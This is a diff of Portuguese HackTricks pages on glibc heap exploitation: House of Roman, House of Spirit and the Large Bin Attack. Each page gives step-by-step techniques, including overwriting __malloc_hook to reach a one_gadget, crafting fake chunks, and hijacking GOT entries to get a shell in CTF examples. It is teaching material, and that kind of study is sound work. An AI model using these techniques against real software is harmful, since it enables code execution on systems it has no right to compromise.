Esta foi uma técnica muito interessante que permitia RCE sem vazamentos através de fastbins falsos, ataque unsorted\_bin e sobrescritas relativas. No entanto, ela foi [**corrigida**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
Esta foi uma técnica muito interessante que permitiu RCE sem leaks através de fastbins falsos, o ataque unsorted\_bin e sobrescritas relativas. No entanto, foi [**patchado**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||||
|
|
||||||
### Código
|
### Code
|
||||||
|
|
||||||
* Você pode encontrar um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
* Você pode encontrar um exemplo em [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
||||||
|
|
||||||
### Objetivo
|
### Goal
|
||||||
|
|
||||||
* RCE abusando de ponteiros relativos
|
* RCE abusando de ponteiros relativos
|
||||||
|
|
||||||
### Requisitos
|
### Requirements
|
||||||
|
|
||||||
* Editar ponteiros fastbin e unsorted bin
|
* Editar ponteiros de fastbin e unsorted bin
|
||||||
* 12 bits de aleatoriedade devem ser forçados (0,02% de chance) de funcionar
|
* 12 bits de aleatoriedade devem ser forçados por brute force (0,02% de chance) de funcionar
|
||||||
|
|
||||||
## Passos do Ataque
|
## Attack Steps
|
||||||
|
|
||||||
### Parte 1: Chunk Fastbin aponta para \_\_malloc\_hook
|
### Part 1: Fastbin Chunk points to \_\_malloc\_hook
|
||||||
|
|
||||||
Crie vários chunks:
|
Crie vários chunks:
|
||||||
|
|
||||||
* `fastbin_victim` (0x60, offset 0): Chunk UAF para editar posteriormente o ponteiro do heap para apontar para o valor do LibC.
|
* `fastbin_victim` (0x60, offset 0): chunk UAF que será editado para apontar para o valor da LibC.
|
||||||
* `chunk2` (0x80, offset 0x70): Para um bom alinhamento
|
* `chunk2` (0x80, offset 0x70): Para um bom alinhamento
|
||||||
* `main_arena_use` (0x80, offset 0x100)
|
* `main_arena_use` (0x80, offset 0x100)
|
||||||
* `relative_offset_heap` (0x60, offset 0x190): deslocamento relativo no chunk 'main\_arena\_use'
|
* `relative_offset_heap` (0x60, offset 0x190): offset relativo no chunk 'main\_arena\_use'
|
||||||
|
|
||||||
Em seguida, `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` nos ponteiros `fd` e `bk`.
|
Então `free(main_arena_use)` que colocará este chunk na lista não ordenada e obterá um ponteiro para `main_arena + 0x68` tanto nos ponteiros `fd` quanto `bk`.
|
||||||
|
|
||||||
Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque ele conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`.
|
Agora é alocado um novo chunk `fake_libc_chunk(0x60)` porque conterá os ponteiros para `main_arena + 0x68` em `fd` e `bk`.
|
||||||
|
|
||||||
Em seguida, `relative_offset_heap` e `fastbin_victim` são liberados.
|
Então `relative_offset_heap` e `fastbin_victim` são liberados.
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
Current heap layout:
|
Current heap layout:
|
||||||
|
@ -63,24 +63,24 @@ unsorted: leftover_main
|
||||||
*/
|
*/
|
||||||
```
|
```
|
||||||
*  `fastbin_victim` tem um `fd` apontando para `relative_offset_heap`
|
*  `fastbin_victim` tem um `fd` apontando para `relative_offset_heap`
|
||||||
*  `relative_offset_heap` é um deslocamento de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68`
|
*  `relative_offset_heap` é um offset de distância de `fake_libc_chunk`, que contém um ponteiro para `main_arena + 0x68`
|
||||||
* Apenas alterando o último byte de `fastbin_victim.fd` é possível fazer com que `fastbin_victim` aponte para `main_arena + 0x68`
|
* Apenas mudando o último byte de `fastbin_victim.fd` é possível fazer `fastbin_victim points` para `main_arena + 0x68`
|
||||||
|
|
||||||
Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`.
|
Para as ações anteriores, o atacante precisa ser capaz de modificar o ponteiro fd de `fastbin_victim`.
|
||||||
|
|
||||||
Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
|
Então, `main_arena + 0x68` não é tão interessante, então vamos modificá-lo para que o ponteiro aponte para **`__malloc_hook`**.
|
||||||
|
|
||||||
Observe que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, existem `2^4=16` possibilidades para o valor terminar apontando para onde estamos interessados. Portanto, um ataque BF é realizado aqui para que o chunk termine assim: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
Note que `__memalign_hook` geralmente começa com `0x7f` e zeros antes dele, então é possível falsificá-lo como um valor no fast bin `0x70`. Como os últimos 4 bits do endereço são **aleatórios**, há `2^4=16` possibilidades para o valor acabar apontando onde estamos interessados. Então, um ataque BF é realizado aqui para que o chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||||
|
|
||||||
(Para mais informações sobre o restante dos bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece novamente até que funcione).
|
(Para mais informações sobre o restante dos bytes, verifique a explicação no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Se o BF não funcionar, o programa simplesmente trava (então comece de novo até funcionar).
|
||||||
|
|
||||||
Em seguida, são realizados 2 mallocs para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk no **`__malloc_hook:`**
|
Então, 2 mallocs são realizados para remover os 2 chunks iniciais do fast bin e um terceiro é alocado para obter um chunk em **`__malloc_hook:`**
|
||||||
```c
|
```c
|
||||||
malloc(0x60);
|
malloc(0x60);
|
||||||
malloc(0x60);
|
malloc(0x60);
|
||||||
uint8_t* malloc_hook_chunk = malloc(0x60);
|
uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||||
```
|
```
|
||||||
### Parte 2: Ataque unsorted\_bin
|
### Parte 2: Ataque Unsorted\_bin
|
||||||
|
|
||||||
Para mais informações, você pode verificar:
|
Para mais informações, você pode verificar:
|
||||||
|
|
||||||
|
@ -88,7 +88,7 @@ Para mais informações, você pode verificar:
|
||||||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Mas basicamente permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque escolhemos `__malloc_hook`. Em seguida, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
|
Mas basicamente isso permite escrever `main_arena + 0x68` em qualquer local especificado em `chunk->bk`. E para o ataque, escolhemos `__malloc_hook`. Então, após sobrescrevê-lo, usaremos uma sobrescrita relativa para apontar para um `one_gadget`.
|
||||||
|
|
||||||
Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**:
|
Para isso, começamos obtendo um chunk e colocando-o no **unsorted bin**:
|
||||||
```c
|
```c
|
||||||
|
@ -99,21 +99,21 @@ puts("Put chunk into unsorted_bin\n");
|
||||||
// Free the chunk to create the UAF
|
// Free the chunk to create the UAF
|
||||||
free(unsorted_bin_ptr);
|
free(unsorted_bin_ptr);
|
||||||
```
|
```
|
||||||
Use um UAF neste trecho para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (já bruteforceamos isso anteriormente).
|
Use um UAF neste chunk para apontar `unsorted_bin_ptr->bk` para o endereço de `__malloc_hook` (nós forçamos isso anteriormente).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Note que esse ataque corrompe o bin não ordenado (portanto também o pequeno e o grande). Assim, só podemos **usar alocações do bin rápido agora** (um programa mais complexo poderia fazer outras alocações e travar), e para acionar isso devemos **alocar o mesmo tamanho ou o programa travará.**
|
Note que este ataque corrompe o bin não ordenado (portanto, pequeno e grande também). Então, só podemos **usar alocações do fast bin agora** (um programa mais complexo pode fazer outras alocações e travar), e para acionar isso, devemos **alocar o mesmo tamanho ou o programa travará.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Portanto, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, realizamos após definir `__malloc_hook` em `unsorted_bin_ptr->bk` apenas precisamos fazer: **`malloc(0x80)`**
|
Então, para acionar a escrita de `main_arena + 0x68` em `__malloc_hook`, após definir `__malloc_hook` em `unsorted_bin_ptr->bk`, só precisamos fazer: **`malloc(0x80)`**
|
||||||
|
|
||||||
### Passo 3: Definir \_\_malloc\_hook para system
|
### Passo 3: Definir \_\_malloc\_hook para system
|
||||||
|
|
||||||
No passo um, acabamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui.
|
No primeiro passo, terminamos controlando um chunk contendo `__malloc_hook` (na variável `malloc_hook_chunk`) e no segundo passo conseguimos escrever `main_arena + 0x68` aqui.
|
||||||
|
|
||||||
Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço da libc que escrevemos lá (`main_arena + 0x68`) para **apontar para um endereço de `one_gadget`**.
|
Agora, abusamos de uma sobrescrita parcial em `malloc_hook_chunk` para usar o endereço da libc que escrevemos lá (`main_arena + 0x68`) para **apontar um endereço `one_gadget`**.
|
||||||
|
|
||||||
Aqui é onde é necessário **bruteforce de 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
|
Aqui é onde é necessário **forçar 12 bits de aleatoriedade** (mais informações no [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ exemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
|
||||||
|
|
||||||
Finalmente, uma vez que o endereço correto é sobrescrito, **chame `malloc` e acione o `one_gadget`**.
|
Finalmente, uma vez que o endereço correto é sobrescrito, **chame `malloc` e acione o `one_gadget`**.
|
||||||
|
|
||||||
|
@ -129,11 +129,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,27 +1,27 @@
|
||||||
# Casa do Espírito
|
# House of Spirit
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
### Código
|
### Code
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Casa do Espírito</summary>
|
<summary>House of Spirit</summary>
|
||||||
```c
|
```c
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
@ -70,18 +70,18 @@ return 0;
|
||||||
|
|
||||||
### Objetivo
|
### Objetivo
|
||||||
|
|
||||||
* Ser capaz de adicionar um endereço ao tcache / fast bin para posteriormente alocá-lo
|
* Ser capaz de adicionar um endereço no tcache / fast bin para que depois seja possível alocá-lo
|
||||||
|
|
||||||
### Requisitos
|
### Requisitos
|
||||||
|
|
||||||
* Este ataque requer que um invasor seja capaz de criar alguns chunks falsos indicando corretamente o valor do tamanho e, em seguida, ser capaz de liberar o primeiro chunk falso para que ele entre no bin.
|
* Este ataque requer que um atacante consiga criar alguns chunks rápidos falsos indicando corretamente o valor do tamanho e, em seguida, conseguir liberar o primeiro chunk falso para que ele entre no bin.
|
||||||
|
|
||||||
### Ataque
|
### Ataque
|
||||||
|
|
||||||
* Criar chunks falsos que contornam as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos
|
* Criar chunks falsos que contornem as verificações de segurança: você precisará de 2 chunks falsos basicamente indicando nas posições corretas os tamanhos corretos
|
||||||
* De alguma forma, conseguir liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever esse endereço
|
* De alguma forma, gerenciar para liberar o primeiro chunk falso para que ele entre no fast ou tcache bin e, em seguida, alocá-lo para sobrescrever aquele endereço
|
||||||
|
|
||||||
**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código o resuma muito bem:
|
**O código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **é ótimo para entender o ataque.** Embora este esquema do código resuma isso muito bem:
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
this will be the structure of our two fake chunks:
|
this will be the structure of our two fake chunks:
|
||||||
|
@ -106,35 +106,35 @@ the important thing is the size values of the heap headers for our fake chunks
|
||||||
*/
|
*/
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Note que é necessário criar o segundo chunk para contornar algumas verificações de integridade.
|
Observe que é necessário criar o segundo chunk para contornar algumas verificações de sanidade.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Exemplos
|
## Exemplos
|
||||||
|
|
||||||
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
* **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
||||||
* **Libc infoleak**: Através de um overflow é possível alterar um ponteiro para apontar para um endereço GOT para vazar um endereço libc via a ação de leitura do CTF.
|
* **Libc infoleak**: Através de um overflow, é possível mudar um ponteiro para apontar para um endereço GOT a fim de vazar um endereço libc via a ação de leitura do CTF.
|
||||||
* **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, em seguida, abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível alterar um ponteiro que será liberado para que nosso primeiro chunk falso seja liberado. Em seguida, podemos alocá-lo e dentro dele haverá o endereço onde a "mensagem" está armazenada. Em seguida, é possível fazer isso apontar para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-lo com o endereço para system.\
|
* **House of Spirit**: Abusando de um contador que conta o número de "rifles", é possível gerar um tamanho falso do primeiro chunk falso, então, abusando de uma "mensagem", é possível falsificar o segundo tamanho de um chunk e, finalmente, abusando de um overflow, é possível mudar um ponteiro que será liberado, de modo que nosso primeiro chunk falso seja liberado. Então, podemos alocá-lo e dentro dele haverá o endereço de onde a "mensagem" está armazenada. Em seguida, é possível fazer com que isso aponte para a entrada `scanf` dentro da tabela GOT, para que possamos sobrescrevê-la com o endereço do sistema.\
|
||||||
Na próxima vez que `scanf` for chamado, podemos enviar a entrada `"/bin/sh"` e obter um shell.
|
Na próxima vez que `scanf` for chamado, podemos enviar a entrada `"/bin/sh"` e obter um shell.
|
||||||
|
|
||||||
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
* [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
||||||
* **Vazamento do Glibc**: Buffer de pilha não inicializado.
|
* **Glibc leak**: Buffer de pilha não inicializado.
|
||||||
* **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma modificação de um único byte, usamos `free` em um chunk falso dentro de um chunk válido, para que tenhamos uma situação de chunks sobrepostos após a alocação novamente. Com isso, um ataque simples de envenenamento de Tcache funciona para obter um primitivo de escrita arbitrário.
|
* **House of Spirit**: Podemos modificar o primeiro índice de um array global de ponteiros de heap. Com uma única modificação de byte, usamos `free` em um chunk falso dentro de um chunk válido, de modo que obtemos uma situação de chunks sobrepostos após alocar novamente. Com isso, um simples ataque de envenenamento de Tcache funciona para obter uma primitiva de escrita arbitrária.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,23 @@
|
||||||
# Ataque ao Large Bin
|
# Large Bin Attack
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Basic Information
|
||||||
|
|
||||||
Para mais informações sobre o que é um large bin, consulte esta página:
|
Para mais informações sobre o que é um large bin, confira esta página:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
|
@ -25,21 +25,21 @@ Para mais informações sobre o que é um large bin, consulte esta página:
|
||||||
|
|
||||||
É possível encontrar um ótimo exemplo em [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
É possível encontrar um ótimo exemplo em [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/large\_bin\_attack.c).
|
||||||
|
|
||||||
Basicamente, aqui você pode ver como, na última versão "atual" do glibc (2.35), não é verificado: **`P->bk_nextsize`** permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas.
|
Basicamente, aqui você pode ver como, na versão "atual" mais recente do glibc (2.35), não é verificado: **`P->bk_nextsize`** permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas.
|
||||||
|
|
||||||
Nesse exemplo, você pode encontrar as seguintes condições:
|
Nesse exemplo, você pode encontrar as seguintes condições:
|
||||||
|
|
||||||
* Um chunk grande é alocado
|
* Um chunk grande é alocado
|
||||||
* Um chunk grande menor que o primeiro, mas no mesmo índice, é alocado
|
* Um chunk grande menor que o primeiro, mas no mesmo índice, é alocado
|
||||||
* Deve ser menor para que vá primeiro no bin
|
* Deve ser menor, então no bin deve ir primeiro
|
||||||
* (Um chunk para evitar a fusão com o chunk superior é criado)
|
* (Um chunk para evitar a fusão com o chunk superior é criado)
|
||||||
* Em seguida, o primeiro chunk grande é liberado e um novo chunk maior do que ele é alocado -> Chunk1 vai para o large bin
|
* Então, o primeiro chunk grande é liberado e um novo chunk maior que ele é alocado -> Chunk1 vai para o large bin
|
||||||
* Em seguida, o segundo chunk grande é liberado
|
* Então, o segundo chunk grande é liberado
|
||||||
* Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]`
|
* Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]`
|
||||||
* Em seguida, um chunk maior que o chunk 2 é alocado, então o chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço do chunk2
|
* Então, um chunk maior que o chunk 2 é alocado, assim o chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço do chunk2
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Existem outros cenários potenciais, a ideia é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, para que ele precise ser inserido imediatamente antes dele no bin, e precisamos ser capazes de modificar o **`bk_nextsize`** de X, pois é onde o endereço do chunk menor será escrito.
|
Existem outros cenários potenciais, a questão é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, então ele precisa ser inserido logo antes dele no bin, e precisamos ser capazes de modificar o **`bk_nextsize`** de X, pois é lá que o endereço do chunk menor será escrito.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Este é o código relevante do malloc. Comentários foram adicionados para entender melhor como o endereço foi sobrescrito:
|
Este é o código relevante do malloc. Comentários foram adicionados para entender melhor como o endereço foi sobrescrito:
|
||||||
|
@ -60,16 +60,16 @@ fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Isso poderia ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores.
|
Isso pode ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores.
|
||||||
|
|
||||||
